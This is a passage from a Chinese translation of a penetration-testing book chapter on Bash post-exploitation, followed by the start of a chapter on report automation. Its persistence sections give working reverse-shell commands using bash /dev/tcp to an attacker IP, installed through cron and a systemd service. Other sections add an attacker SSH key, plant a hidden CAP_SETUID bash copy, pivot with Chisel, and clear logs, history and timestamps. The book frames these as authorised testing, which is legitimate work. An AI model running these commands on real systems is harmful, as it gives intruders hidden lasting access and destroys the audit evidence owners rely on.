对于渗透测试者来说,cron 作业在后期利用和维持访问中非常重要,原因有很多:
-
持久性 : 攻击者可以使用 cron 作业通过安排任务来保持对被攻破系统的访问,这些任务会重新建立连接或下载更新的恶意软件。
-
数据外泄 : 可以设置 cron 作业定期将敏感数据从受损系统发送到攻击者控制的服务器。
-
权限提升 : 如果攻击者能够创建或修改以 root 或其他特权用户身份运行的 cron 作业,他们可能会在系统上提升自己的权限。
-
后门维护 : cron 作业可以定期检查并修复任何可能被删除或禁用的后门。
-
避开检测 : 通过在特定时间安排恶意活动,攻击者可以通过在系统管理员不太可能监控系统的时间执行操作,从而避开检测。
-
自动化侦察 : 攻击者可以利用 cron 作业定期收集关于系统或网络的信息,帮助他们规划进一步的攻击或识别新的漏洞。
cron 作业可以通过安排恶意命令来维持持久性。以下是一个示例:
$ echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.56.101/5555 0>&1'" | crontab -
这会创建一个 cron 作业,每 5 分钟尝试建立一个反向 Shell 连接。
其工作原理如下:
-
echo: 这将添加一个新的 cron 作业。 -
*/5 * * * *: 这将设置每 5 分钟执行一次任务。该命令创建一个反向 shell(根据需要更改 IP 地址和端口)。
-
| crontab -:这会安装新的 crontab。
让我们看看实际操作。在目标系统上,我们执行命令来创建 cron 任务,接着立刻执行列出所有 cron 任务的命令。在 Kali 系统上,5 分钟内,我们就能得到 shell。以下截图展示了这一过程;下面的截图显示了在目标系统上已执行的命令:
图 12.6 – 我们在目标系统上创建 cron 任务以实现持久性
下图展示了我们在 Kali 上接收到反向 shell:
图 12.7 – 我们从 Kali 系统的 cron 任务中捕获反向 shell
理解 cron 任务是提权和维持访问权限的关键技能。接下来,我们将研究如何通过后门化系统文件来实现持久性。
后门化系统文件以实现持久性
Linux 系统的 .service 文件是配置文件,用于系统 d,许多现代 Linux 发行版的初始化系统和服务管理器。这些文件定义了 systemd 如何管理和控制服务、守护进程或后台进程。
以下是 .** **service 文件的关键部分:
-
位置:通常存储在
/etc/systemd/system/或/usr/lib/systemd/system/中 -
命名约定:
[service_name].service -
结构:由
[Unit]、[Service]和[Install]等部分组成 -
目的:定义服务行为、依赖关系、启动/停止命令等
这是一个基本的 .** **service 文件示例:
[Unit]
Description=A Custom Service
After=network.target
[Service]
ExecStart=/usr/local/bin/a_service_script.sh
Restart=on-failure
User=user
[Install]
WantedBy=multi-user.target
该文件定义了以下内容:
-
服务的描述
-
它应在何时启动(网络启动后)
-
启动服务时要执行的命令
-
如果服务失败,重新启动的行为
-
服务应运行的用户
-
服务应安装在系统启动序列中的位置
修改系统服务文件可以提供在重启后仍然有效的持久性。这一点在以下命令中得到了展示,命令可以在本章的 GitHub 仓库中找到,文件名为 ch12_persistence.service.sh。请注意,ExecStart Bash 反向 shell 命令为一行,可能因排版问题换行:
#!/usr/bin/env bash
sudo tee -a /etc/systemd/system/persistence.service << EOF
[Unit]
Description=Persistence Service
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.101/5555 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl enable persistence.service
sudo systemctl start persistence.service
这会创建一个新的 systemd 服务,在系统启动时建立反向 shell 连接。
这是该代码的解释:
-
tee -a创建服务文件。 -
<<重定向将 EOF 标签之间的所有内容发送到服务文件。 -
[Unit]、[Service]和[Install]部分定义了服务。 -
ExecStart指定了要执行的命令。 -
systemctl enable设置服务在启动时自动启动。 -
systemctl start会立即运行该服务。
让我们看看这个实际操作。首先,我将在我的 Kali 系统上运行 python3 -m http.server 命令,启动一个 HTTP 服务器用于文件传输。接着,我将在目标系统上使用 wget 从 Kali 下载文件,并将文件保存到 /tmp。然后,我会将文件设置为可执行并执行它。在 Kali 上,我会查看我的终端并发现我已经获得了反向 Shell 并作为 root 用户建立了会话。以下图示展示了这一过程。
在下图中,您可以看到 Python 服务器已在 Kali 系统上启动:
图 12.8 – 我们运行 HTTP 服务器用于文件传输
以下图示展示了在目标系统上运行的命令,用于下载脚本:
图 12.9 – 我们将脚本下载到目标系统
在下图中,我们正在使脚本可执行并运行它:
图 12.10 – 我们使脚本可执行并执行它以启用并启动服务
现在,我们在 Kali 上以 root 用户身份接收到反向 Shell:
图 12.11: 我们在 Kali 上以 root 用户身份接收到反向 Shell
在本节中,您学习了 systemd 系统服务的工作原理,系统服务文件的结构,以及如何利用它们实现后期渗透持久化。在下一节中,您将学习如何通过将 SSH 密钥添加到用户配置文件中来随时恢复访问。
使用 SSH 授权密钥后门
SSH authorized_keys 文件是一种控制用户账户 SSH 访问的机制,无需密码即可登录。本节将概述它的工作原理以及如何利用它进行持久化。
以下是 authorized_keys 文件的工作原理:
-
它位于每个用户的
~/.ssh/authorized_keys文件中。 -
它包含公钥,每行一个。
-
当客户端尝试连接时,服务器会检查客户端的公钥是否与该文件中的任何密钥匹配。
-
如果找到匹配项,连接将被允许,而无需提示输入密码。
在获得用户账户访问权限后,如果发现 SSH 可用,您可以将自己的公钥添加到用户的 authorized_keys 文件中。即使密码被更改,这也将允许您保持 SSH 访问。
要添加密钥,请运行以下命令:
$ echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@example.com" >> ~/.ssh/authorized_keys
此命令将您的公钥添加到 authorized_keys 文件中。
让我们仔细看看:
-
echo: 该命令用于输出指定文本。该文本是攻击者的公钥。它以
ssh-rsa开头,后面跟着密钥数据。 -
>>: 该命令会将输出重定向并附加到authorized_keys文件。 -
~/.ssh/authorized_keys: 这是指定用户主目录下的文件路径。
这种技术提供了一种隐蔽的方式来维持访问,因为它不需要修改系统二进制文件或创建新的用户账户。然而,通过监控 authorized_keys 文件的变化或进行 SSH 密钥审计,仍然可能被发现。
接下来,我们将深入了解更高级的持久性技术。
学习高级持久性技术
在这一部分,我们将探索一种更高级的持久性技术,它可能更加隐蔽,因此在渗透测试过程中更不容易被发现。
Linux 中的能力是一种安全特性,允许对进程可以执行的特权操作进行精细控制。它们提供了一种授予进程特定权限的方式,而不需要给予其完全的 root 访问权限。这有助于通过遵循最小特权原则来提高系统安全性。
以下是关于 Linux 能力的一些关键点:
-
它们将传统的全有或全无 root 权限细分为更小、更具体的权限。
-
能力与可执行文件和进程相关,而不是与用户相关。
-
现代 Linux 内核中有超过 40 种不同的能力。
-
以下是一些常见的能力:
-
CAP_SETUID:该能力允许进程设置当前进程的用户 ID,从而使其能够切换到任何用户,包括 root。 -
CAP_NET_BIND_SERVICE:这允许我们绑定到特权端口(< 1024)。 -
CAP_CHOWN:这允许我们更改文件的所有权。 -
CAP_DAC_OVERRIDE:这允许我们绕过文件读取、写入和执行权限检查。
-
-
可以通过
getcap查看能力,并使用setcap在可执行文件上设置能力。
下面是如何查看进程能力的一个示例:
$ getcap /path/to/executable
下面是如何设置可执行文件能力的一个示例:
$ sudo setcap cap_setuid=+ep /path/to/executable
此命令将 CAP_SUID 能力授予指定的可执行文件。
要查看正在运行的进程的能力,请运行以下命令,将PID替换为你想检查的进程 ID:
$ getcap PID
能力的=eip后缀提供了一种精确控制进程可用能力及其如何被使用或传递给子进程的方式。这种细粒度的控制使得系统管理员可以实施最小特权原则,只授予进程执行所需的特定能力,而不是给予其完全的 root 权限。
=eip 后缀表示 有效、可继承 和 许可 的能力集。这个后缀用于设置或查看 Linux 系统上支持精细化权限控制的文件或进程的能力。
为了理解=eip,我们来逐一解析:
-
e– 有效:这些是当前进程正在使用的能力。 -
i– 可继承:这些能力可以被子进程继承。 -
p– 许可:这些是进程允许使用的能力。
当你看到一个带有=eip后缀的能力时,意味着该能力已被设置为所有三个集合:有效、可继承和允许。
例如,如果你将CAP_SETUID能力设置到一个文件上,并且其值为=eip,你可以使用如下命令:
$ sudo setcap cap_setuid=eip /path/to/file
该命令将CAP_SETUID能力设置为有效、可继承且允许的,适用于指定的文件。
这是一个使用 Linux 能力维持持续访问权限的例子,且操作隐蔽。这个脚本展示了如何使用 Linux 能力保持访问权限。你可以在本章的 GitHub 代码库中找到它,文件名为ch12_capabilities.sh:
#!/usr/bin/env bash
# Create a hidden directory
mkdir /tmp/.persist
# Copy /bin/bash to the hidden directory
cp /bin/bash /tmp/.persist/shell
# Set the CAP_SETUID capability on the copied shell
setcap cap_setuid+ep /tmp/.persist/shell
让我们仔细看一下这段代码:
-
首先,它会在
/tmp中创建一个隐藏目录。 -
脚本将 Bash shell 复制到这个隐藏位置。
-
然后,它使用
setcap命令将CAP_SETUID能力添加到复制的 shell 中。这个能力使得 shell 可以设置用户 ID,从而有效地赋予其类似 root 的权限。
像/tmp和/dev/shm这样的目录可能会在重启时被清空,因此在保存任何文件以维持持久性之前,请务必检查它们是否已挂载为tmpfs类型的文件系统。如果它们被挂载为tmpfs,你需要选择一个不同的位置;否则,你的持久性机制将在重启时丢失。你可以通过执行mount命令并使用grep查找目录位置来检查——例如,检查/tmp。
这种技术通过标准系统监控很难被检测到。它不会修改核心系统文件,也不会创建新的用户账户。然而,它提供了一种重新获得提升权限的方式。
理解并使用 Linux 能力提供了一种更隐蔽的方式,以便在后期利用操作中重新获得特权访问权限。
在下一节中,我们将探讨通过被攻陷的 Linux Bash 环境进行跳板的方法,从而访问本来无法接触的网络。
使用 Bash 进行网络跳板的基础
在渗透测试领域,利用被攻陷的系统作为跳板,探索并访问与该系统连接的其他网络是非常常见的做法。本节将探讨在被攻陷的 Linux Bash 环境中进行跳板的使用方法。
SSH 端口转发是一种简单却有效的跳板方法。它允许你通过 SSH 连接传输流量,从而访问原本无法到达的系统。在本节中,我们将介绍两种类型的 SSH 端口转发:本地转发和远程转发。
本地端口转发允许你通过 SSH 连接将本地计算机的端口转发到远程服务器。以下命令是本地端口转发的示例:
$ ssh -L 8080:internal_server:80 user@pivot_host
这个命令通过pivot_host建立一个 SSH 连接,并将本地端口8080转发到internal_server上的端口80。执行该命令后,访问本地机器上的localhost:8080将会连接到internal_server上的端口80。本地端口转发最适用于需要通过被攻陷的系统访问内网单一服务器端口的情况。
远程端口转发是本地端口转发的反向操作。它允许你将远程 SSH 服务器上的端口转发到本地机器。以下命令演示了如何使用 SSH 启动远程端口转发:
$ ssh -R 8080:localhost:80 user@pivot_host
这个命令将pivot_host上的端口8080转发到你本地机器上的端口80。因此,任何访问pivot_host上端口8080的人都会到达你本地机器上的端口80。远程端口转发最适用于当你需要将数据从内网外泄时,比如当你需要接收一个反向 Shell 时。
SSH 端口转发可能不够灵活,因为它们是单一端口映射。Socket Secure(SOCKS)代理是一种通用的代理,它通过代理服务器在客户端和服务器之间路由网络流量。通过 SSH 设置 SOCKS 代理能够实现更灵活的 pivot 操作,因为它可以处理各种类型的流量。
以下 SSH 命令启动一个动态 SOCKS 代理:
$ ssh -D 9050 user@pivot_host
这个命令通过 SSH 连接到pivot_host并在本地端口9050创建一个 SOCKS 代理。然后,你可以配置你的应用程序(例如,web 浏览器)使用这个 SOCKS 代理。例如,你可以通过curl使用这个代理:
$ curl --socks5 localhost:9050 http://internal_server
这个命令通过 SOCKS 代理向internal_server发送 HTTP 请求。
你还可以将proxychains工具与 SOCKS 代理结合使用。当你需要用不支持代理的工具通过 SOCKS 代理时,这种方法特别有用。
我们需要在使用 proxychains 之前进行配置。配置文件通常位于/etc/proxychains4.conf。编辑这个文件,将最后一行从socks4 127.0.0.1 9050更改为socks5 127.0.0.1 9050。请注意,在socks5和127.0.0.1之间有一个制表符。
现在我们已经设置好了 proxychains,让我们在 Kali 上使用它与nmap一起进行 TCP 端口扫描。基本语法如下:
$ proxychains -q nmap -sT -p- [target_ip]
让我们仔细看看这个命令:
-
proxychains -q:这个命令告诉系统为接下来的命令使用 proxychains。-q选项使 proxychains 变得安静。 -
nmap:我们正在使用的网络映射工具。 -
-sT:这个标志告诉nmap执行 TCP 连接扫描。你无法通过 SOCKS 代理执行 TCP SYN 扫描或 UDP 扫描。扫描必须是 TCP 连接扫描。 -
-p-:这个标志告诉nmap扫描所有端口(1** -65535**)。 -
[target_ip]:将此处替换为你想要扫描的 IP 地址。
在这种情况下,我们当前的目标没有暴露 SSH。你将在下一节中学到当 SSH 不可用时如何进行 pivot 操作。
请注意,通过 SOCKS 代理进行扫描非常慢。你可能想要限制扫描的端口数量。另一种选择是将像 Goscan 这样的工具传输到跳板主机,然后从那里进行扫描。你可以在github.com/sdcampbell/goscan找到 Goscan。ProjectDiscovery Naabu 是另一个选择。
这些基本的跳板技术为渗透测试中访问受限网络段提供了基础。它们使你能够扩展在目标环境中的访问范围,便于进一步探索和测试内部系统。我们将在下一节中探讨更先进的跳板技术。
精通高级跳板和横向移动
在本节中,我们将探索使用 Bash 脚本进行的高级跳板和横向移动技术。这些方法超越了基本的 SSH 隧道和 SOCKS 代理,着重于更复杂的方法,以便在复杂的网络环境中导航。
动态链式跳转
动态链式跳转涉及创建一系列相互连接的跳板,以便更深入地进入网络。该技术在处理分段网络或需要绕过多个安全层时特别有用。
这是一个 Bash 脚本,它自动化了设置动态跳板链的过程。你可以在本章的 GitHub 仓库中找到这个脚本,名为ch12_dynamic_pivot.sh。
#!/usr/bin/env bash
pivot_hosts=("user-1@192.168.5.150" "user-2@10.1.0.50" "user-3@172.16.1.25")
target="user-4@192.168.20.200"
local_port=9090
# Set up the chain
for ((i=0; i<${#pivot_hosts[@]}; i++)); do
next_port=$((local_port + i + 1))
if [ $i -eq 0 ]; then
ssh -f -N -L ${local_port}:localhost:${next_port} ${pivot_hosts[$i]}
elif [ $i -eq $((${#pivot_hosts[@]} - 1)) ]; then
ssh -f -N -L ${next_port}:${target%@*}:22 ${pivot_hosts[$i]}
else
ssh -f -N -L ${next_port}:localhost:$((next_port + 1)) ${pivot_hosts[$i]}
fi
done
echo "[+] Pivot chain is established! Connect to ${target} via: ssh -p ${local_port} ${target#*@}"
在攻击者机器上运行此脚本。该脚本通过多个跳板主机设置一系列 SSH 隧道。它从在攻击者机器上创建一个本地端口转发开始,然后通过每个跳板主机进行链式连接,最终到达目标。该脚本使用循环来创建链中的每个环节,并对第一个和最后一个跳板进行特殊处理。
提示
SSH 提供了一种更简单的方法,通过跳板主机完成相同的操作。使用多个跳板主机的 SSH 命令语法是ssh -J** **user1@jumphost1,user2@jumphost2 user3@targethost。
动态链式跳转可以在没有 SSH 访问权限的情况下,使用外部工具执行。两个相关的工具是 Chisel(github.com/jpillora/chisel)和 Ligolo-ng(github.com/nicocha30/ligolo-ng)。这些工具可以在没有 SSH 服务器的情况下用于跳转。它们要求你将一个可执行文件上传到跳板主机,并且不需要 root 权限即可操作。
在这个示例中,我将使用 Chisel。
记下我的 Kali 系统的当前 IP 地址后,我将在同一目录下启动一个 HTTP 服务器,将 Chisel 传输到目标主机,方法是在该目录下运行python3 -m http.server命令。
在我作为 user6 拥有 shell 权限的目标系统上,我将使用 wget 10.0.0.66:8000/chisel 命令将 Chisel 文件下载到 /tmp 目录。在运行之前,您必须使用 chmod +x chisel 命令使其具备可执行权限。您还必须在 Kali 上运行相同的命令,因为您需要在连接的两端都运行 Chisel。
接下来,使用 ./chisel server -p 8001 –reverse 命令在 Kali 上启动 Chisel。然后,在目标(跳板)系统上运行 ./chisel client 10.0.0.66:8001 R:1080:socks 命令。确保根据需要替换为您自己的 IP 地址。
让我们看看实际操作。在以下截图中,Kali 的 IP 地址为 10.0.0.66。10.0.0.149 上的防火墙在端口 80 上暴露了一个 Web 服务器。该 Web 服务器位于防火墙的另一侧,IP 地址为 10.1.1.103。我将使用 Chisel 的 SOCKS 代理扫描位于 10.1.1.0/24 网络上的 Windows 主机,该网络位于防火墙的另一侧。
下图显示了在运行命令启动 Chisel 服务器之前,使用 Python 传输 Chisel 文件:
图 12.12:Chisel 从 Kali 提供给跳板目标,并启动服务器端
下图演示了在目标系统上执行的命令,用于传输 Chisel 并启动连接的客户端:
图 12.13:Chisel 在跳板主机上以客户端模式启动,完成反向 SOCKS 连接
建立连接后,我们可以使用 proxychains 通过 SOCKS 隧道进行扫描:
图 12.14:Kali 通过 SOCKS 代理扫描 Windows 主机
我们仅仅触及了 Chisel 能力的表面。您可以使用 Chisel 通过多个跳跃进入网络。
Ligolo-ng 的工作方式不同。它不是创建 SOCKS 代理,而是创建一个用户空间网络栈,类似于 VPN 连接,通过隧道路由网络流量。您可以在 github.com/Nicocha30/ligolo-ng 找到该工具、文档和命令示例。
在某些情况下,您可能无法从内部网络建立到互联网的出站连接。在下一节中,我们将探讨 DNS 隧道,这是一种较慢但可靠的跳板技术。
DNS 隧道
DNS 隧道可以用来绕过防火墙,并建立一个隐蔽的通道进行跳转。我曾在将微型计算机(如树莓派)插入网络端口时使用过这种技术,以便在阻止了外向的 SSH 或 Wireguard 连接时,从受限网络建立隐蔽通道。我也曾将 DNS 隧道作为远程测试设备的故障转移解决方案,发送到客户站点。如果网络限制阻止了测试设备与我连接,我仍然可以通过 DNS 隧道建立连接并完成渗透测试。
我发现,许多人可能很难理解 DNS 隧道如何工作,你可能会认为如果阻止了 53 端口的外向连接,那么就能阻止 DNS 隧道的使用。但事实并非如此。
以下是 DNS 隧道通常如何工作的分步解析:
-
客户端,即试图绕过网络限制的设备,创建一个包含编码数据作为子域名的 DNS 查询。这些数据可能是命令、文件或其他需要发送到外部服务器的信息的一部分。该查询通常是针对由攻击者或使用 DNS 隧道的合法服务控制的域名的子域。
-
客户端的 DNS 查询被发送到已为网络接口配置的 DNS 服务器。网络 DNS 服务器无法解析该子域,因此将请求转发给该域名的权威 DNS 服务器。
-
DNS 查询通过正常的 DNS 解析过程,最终到达由攻击者控制的权威 DNS 服务器。
-
该服务器已配置为理解 DNS 查询中的编码数据。权威 DNS 服务器从查询中解码数据,处理它(即执行命令),然后将响应编码在 DNS 回复中。
-
响应以 DNS 响应的形式返回给客户端,这看起来像是对任何网络监控系统而言的常规 DNS 响应。
-
客户端接收到 DNS 响应并解码数据。这可能是一个确认消息、被外泄的文件的一部分,或是对之前发送的命令的回应。
-
该过程根据需要重复进行,客户端和服务器继续通过 DNS 查询和响应进行隐蔽通信。
除了最严格限制的网络外,其他网络都会将无法从内部网络 DNS 服务器解析的子域请求转发给该域的权威服务器。这意味着,如果你需要从要求所有外向网络流量通过防火墙规则允许或必须通过 HTTP/S 代理的网络中进行隧道传输,你可以通过利用 DNS 隧道绕过这些网络限制。虽然 DNS 隧道速度较慢,因此通常作为最后的手段使用。
要使用此技术,你需要在已暴露到互联网的主机上设置一个 iodined 服务器,并确保它对你用作隧道的域名具有权威性。
请查看 iodined 项目的文档,了解配置和执行说明:github.com/yarrick/iodine 。
请注意,DNS 隧道是明文或未加密的通信。务必通过隧道加密流量。当用于与一个小型数据箱或远程测试设备通信时,我会通过 DNS 隧道建立一个 SSH 会话。
这就是我们关于跳板技术的讨论。到目前为止,你已经学会了如何使用 SSH 和外部工具建立前向和反向跳板隧道,从基础到高级场景。接下来的章节,我们将讨论在利用后如何进行清理和掩盖痕迹。
清理与掩盖痕迹
在渗透测试中,完成评估后清理非常重要。这个过程包括删除可能表明你在系统上存在的任何遗留物、日志或痕迹。本节内容介绍了你可以使用 Bash 脚本来清理和掩盖痕迹的各种技术。
清理的第一步之一是清除命令历史。这可以防止系统管理员看到你执行过的命令。
history 命令会清除并写入空的命令历史 —— 即 history -cw 。
history -c 命令会从内存中清除当前会话的历史记录,而 history -w 命令会将(现在为空的)历史记录写入历史文件,从而有效地擦除之前的内容。
删除 ~/.bash_history 文件并不能清除历史记录,因为结束当前会话时,所有在会话中输入的命令将会被写入重建的文件。
你还可以通过在 Bash 会话开始时使用 set HISTFILE=/dev/null 命令将 HISTFILE 环境变量设置为 /dev/null,从而防止任何命令历史被记录。
系统日志通常包含你的活动证据。这里有一个脚本可以用来清除常见的日志文件。你可以在本章节的 GitHub 仓库中找到它,名为 ch12_clear_logs.sh :
#!/usr/bin/env bash
log_files=(
"/var/log/auth.log"
"/var/log/syslog"
"/var/log/messages"
"/var/log/secure"
)
for file in "${log_files[@]}"; do
if [ -f "$file" ]; then
echo "" > "$file"
echo "Cleared $file"
else
echo "$file not found"
fi
done
该脚本会遍历一组常见的日志文件。对于每个存在的文件,它会用空字符串覆盖内容,从而有效地清除日志。当然,它需要 root 权限才能清除这些文件。
为了使你的活动不那么显眼,你可以修改你访问或修改的文件的时间戳。以下脚本将通过更改时间戳,使其与 /etc/hosts 文件的时间戳一致,从而修改一组文件。你可以在本章节的 GitHub 仓库中找到它,名为 ch12_timestamps.sh :
#!/usr/bin/env bash
files_to_modify=(
"/etc/passwd"
"/etc/shadow"
"/var/log/auth.log"
)
reference_file="/etc/hosts"
for file in "${files_to_modify[@]}"; do
if [ -f "$file" ]; then
touch -r "$reference_file" "$file"
echo "Modified timestamp of $file"
else
echo "$file not found"
fi
done
该脚本使用 touch 命令与 -r 选项,将列表中每个文件的时间戳设置为与参考文件(在此情况下为 /etc/hosts )的时间戳一致。
对于需要彻底删除的敏感文件,使用 shred 命令:
shred -u -z -n 3 sensitive_file.txt
该命令会用随机数据三次( -n 3 )覆盖文件,然后用零( -z )覆盖,最后删除文件( -u )。
如果您已建立网络连接,可能需要清除 ARP 缓存:
sudo ip -s -s neigh flush all
此命令清除 ARP 缓存中的所有条目。
这是一个综合清理脚本,结合了几种技术。可以在本章的 GitHub 存储库中找到名为ch12_cleanup.sh的脚本:
#!/usr/bin/env bash
# Clear bash history
history -c
history -w
# Clear common log files
log_files=("/var/log/auth.log" "/var/log/syslog" "/var/log/messages" "/var/log/secure")
for file in "${log_files[@]}"; do
if [ -f "$file" ]; then
sudo echo "" > "$file"
echo "Cleared $file"
fi
done
# Remove temporary files
identifier="pentester123"
find /tmp /var/tmp -user "$(whoami)" -name "*$identifier*" -type f -delete
# Modify timestamps
touch -r /etc/hosts /etc/passwd /etc/shadow /var/log/auth.log
# Securely remove sensitive files
shred -u -z -n 3 /tmp/sensitive_data.txt
# Flush ARP cache
sudo ip -s -s neigh flush all
echo "Cleanup completed"
此脚本执行以下操作:
-
清除 Bash 历史记录
-
清除常见日志文件
-
删除评估过程中创建的临时文件
-
修改重要系统文件的时间戳
-
安全地删除敏感文件
-
清除 ARP 缓存
请记住,这些清理方法的有效性可能会因系统配置和现有监控工具的不同而有所变化。
适当的清理还依赖于详细记录您的活动并了解您的工具。使用script和tee命令保存活动日志文件也很有帮助,当您最终忘记为渗透测试报告拍摄截图时,可以挽救一天。始终注意您的渗透测试工具留下的妥协指标。有 Windows 和 Linux 工具可以在运行漏洞之前和之后进行快照和比较。这将使您能够在离线实验室环境中正确验证新工具的可信度,并提供您可以从工具和漏洞中预期的系统更改的快照。
以下是一些选择的 Linux 快照工具:
-
diff**和 cmp**:-
diff:一款命令行工具,逐行比较文件并输出差异。可用于比较配置文件、日志或其他基于文本的文件在运行漏洞之前和之后的情况。 -
cmp:另一个命令行工具,逐字节比较两个文件,对于二进制文件比较很有用。
-
-
Tripwire:一款流行的完整性监控工具,可用于创建文件系统基线,并在利用漏洞后将其与系统状态进行比较。它可以警告您文件、目录和配置的更改。 -
高级入侵检测环境(AIDE):AIDE 创建系统文件的校验和数据库,可用于比较运行漏洞之前和之后的系统状态以检测文件和目录的更改。
-
Linux 审计系统(Auditd):Auditd 允许您监视和记录系统调用,并可配置为跟踪文件、目录或甚至某些类型的系统活动的更改。在运行漏洞之前和之后比较审计日志可以帮助识别更改。
-
OSSEC:一款开源基于主机的入侵检测系统(HIDS),可监视系统文件、注册表键和其他关键区域的更改。它可以配置为警告您有关漏洞引起的修改。
以下工作流程将提供由工具或漏洞引起的更改的快照:
-
创建基准快照:使用选定的工具在运行利用之前对系统进行快照。这个快照将作为之前状态。
-
执行利用:在系统上执行您正在测试的利用。
-
创建利用后的快照:使用相同的工具在运行利用后对系统进行快照。
-
比较快照:使用工具的比较功能分析快照之间的差异,识别利用所做的任何更改。这将帮助您记录和分析利用对系统的影响。
本节提供了一个全面的清理和覆盖痕迹的入门指南。操作的两个好规则是不要造成伤害,并在操作后清理干净。始终遵循工作声明和参与规则文件,并在有疑问时与任何联系点或系统所有者沟通。
摘要
本章探讨了在渗透测试过程中保持持久性和执行枢纽操作的基本技术,重点是利用 Bash shell。我们首先研究了持久性的基础知识,包括通过 cron 作业、启动脚本和系统服务操纵建立对受损系统的长期访问的方法。然后,本章进一步发展到更复杂的持久性技术,为渗透测试人员提供了确保持续访问的全面工具包。
本章的后半部分将焦点转向网络枢纽,从基本概念开始,逐渐深入到高级策略。在这里,我们介绍了如何使用 SSH 和其他工具实现端口转发和隧道机制。本章以清理程序结束,详细介绍了您可以使用的方法来擦除命令历史记录,管理日志,并在测试过程中尽量减少留下的任何数字足迹。在整个本章中,我们提供了实用的 Bash 脚本和命令,并附有清晰的解释,以确保您可以有效地将这些技术应用于实际场景中。
在下一章中,我们将使用 Bash 脚本和工具探讨渗透测试报告,以及我们可以使用的工具来处理工具输出的数据并制定报告。
第十三章:使用 Bash 进行渗透测试报告
在本章中,我们将探讨 Bash 如何在简化渗透测试报告阶段中发挥作用。正如安全专家所知,最终报告是一个关键的交付物,它向利益相关者传达发现、风险和建议。然而,编写这些报告可能非常耗时,并且容易出现不一致的情况。我们将讨论 Bash 脚本如何自动化并增强报告过程中的各个方面,从数据收集到报告生成。
在本章中,我们将讨论从工具输出中自动提取数据、生成初步报告以及将 Bash 与其他报告工具集成的技术。你将学习如何创建可以解析原始数据并填充报告模板的脚本。
本章结束时,你将掌握使用 Bash 创建高效、准确和专业的渗透测试报告的基础。这些技能不仅能节省时间,还能提高交付物的质量和一致性,让你能更多地专注于分析,而不是手动编写报告。
在本章中,我们将涵盖以下主要内容:
-
使用 Bash 自动化数据收集进行报告
-
使用 SQLite 存储和管理渗透测试数据
-
将 Bash 与报告工具集成
技术要求
本章的代码可以在github.com/PacktPublishing/Bash-Shell-Scripting-for-Pentesters/tree/main/Chapter13找到。
在你的 Kali Linux 系统上输入以下命令来安装先决条件:
$ sudo apt install libxml2-utils jq sqlite3 texlive-base xmlstarlet
以下命令假设你已安装 Go。请参见go.dev/doc/install:
$ go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
$ go install -v github.com/projectdiscovery/mapcidr/cmd/mapcidr@latest
在完成先决条件后,正式进入报告环节,这是每个渗透测试人员最喜欢的话题!
使用 Bash 自动化数据收集进行报告
高效的数据收集是有效渗透测试报告的支柱。本节将探讨如何利用 Bash 脚本自动化从渗透测试的各个阶段收集和组织关键信息。
通过自动化数据收集,渗透测试人员可以做到以下几点:
-
减少数据收集中的人工错误
-
标准化收集信息的格式
-
节省重复数据提取任务的时间
-
确保多个测试和报告的一致性
我们将研究识别关键数据点、从工具输出中提取信息、清理原始数据、将数据存储在数据库中以及报告模板化的技术。这些方法将帮助简化报告过程,让测试人员能更多地专注于分析,而不是数据管理。
让我们从使用 Bash 识别和提取渗透测试报告中最相关的数据开始。
识别关键数据点
关键数据点是提供测试发现、漏洞以及目标系统或网络整体安全态势的全面概述的必要信息。这些数据点构成了有效渗透测试报告的核心。
关键数据点通常包括以下内容:
-
高层摘要数据:
-
按严重性分类的漏洞总数
-
关键发现和关键问题
-
总体风险评级
-
-
合规信息:
-
相关的合规性标准(例如,PCI DSS 和 HIPAA)
-
特定的合规性违规或差距
-
-
测试元数据:
-
测试的日期和持续时间
-
评估范围
-
测试者信息
-
评估过程中使用的工具
-
-
成功的攻击
或利用:-
成功渗透尝试的描述
-
访问或外泄的数据
-
潜在的现实世界后果
-
-
漏洞信息:
-
漏洞名称和描述
-
严重性评级(例如,关键、高、中或低)
-
常见漏洞评分系统(CVSS)评分
-
受影响的系统或组件
-
-
技术细节:
-
受影响系统的 IP 地址和主机名
-
端口号和运行的服务
-
软件版本和补丁级别
-
漏洞利用方法或概念验证
-
-
风险评估:
-
每个漏洞的潜在影响
-
漏洞被利用的可能性
-
业务影响分析
-
-
测试文档:
-
漏洞或利用的截图
-
日志文件摘录
-
工具的命令输出
-
-
修复信息:
-
推荐的修复或缓解措施
-
修复的优先级
-
修复所需的估计努力
-
使用 Bash 解析和清理原始数据
渗透测试工具的主要报告输出格式包括纯文本文件(.txt)、逗号分隔值(CSV)、可扩展标记语言(XML)和JavaScript 对象表示法(JSON)。由于纯文本输出没有特定的格式,因此本节不会涵盖,您之前在第四章中学习的正则表达式足以应对。本节将包括解析其他数据格式的策略。
让我们从 CSV 数据开始。Bash 工具箱中解析表格数据的最佳工具无疑是awk。awk的基本语法如下:
awk 'pattern {action}' input_file
请注意以下几点:
-
pattern是一个可选的匹配条件。 -
action是当模式匹配时要执行的操作。 -
input_file是要处理的文件。
当然,如果你正在通过管道(|)传输数据,你可以移除input_file变量,因为 awk 可以从stdin或输入文件接受数据。
假设我们有一个名为scan_results.csv的 CSV 文件。你可以在本章的 GitHub 仓库中找到这个文件:
IP,Hostname,Port,Service,Version
192.168.1.1,gateway,80,http,Apache 2.4.41
192.168.1.10,webserver,443,https,nginx 1.18.0
192.168.1.20,database,3306,mysql,MySQL 5.7.32
192.168.1.30,fileserver,22,ssh,OpenSSH 8.2p1
这是提取 IP 和端口列的方法:
awk -F',' '{print $1 "," $3}' nmap_results.csv
这是输出:
IP,Port
192.168.1.1,80
192.168.1.10,443
192.168.1.20,3306
192.168.1.30,22
解释如下:
-
-F','将字段分隔符设置为逗号。 -
$1和$3分别指代第一和第三个字段。 -
","在$1和$3字段之间打印一个逗号。
这是如何仅显示具有开放 Web 端口( 80 或 443 )的条目:
awk -F',' '$3 == 80 || $3 == 443 {print $1 "," $2 "," $3}' nmap_results.csv
输出如下:
192.168.1.1,gateway,80
192.168.1.10,webserver,443
要为我们的输出添加头部和尾部,请执行以下操作:
awk -F',' 'BEGIN {print "Open Web Servers:"} $3 == 80 || $3 == 443 {print $1 "," $2 "," $3} END {print "End of list"}' nmap_results.csv
这是最终的输出:
Open Web Servers:
192.168.1.1,gateway,80
192.168.1.10,webserver,443
End of list
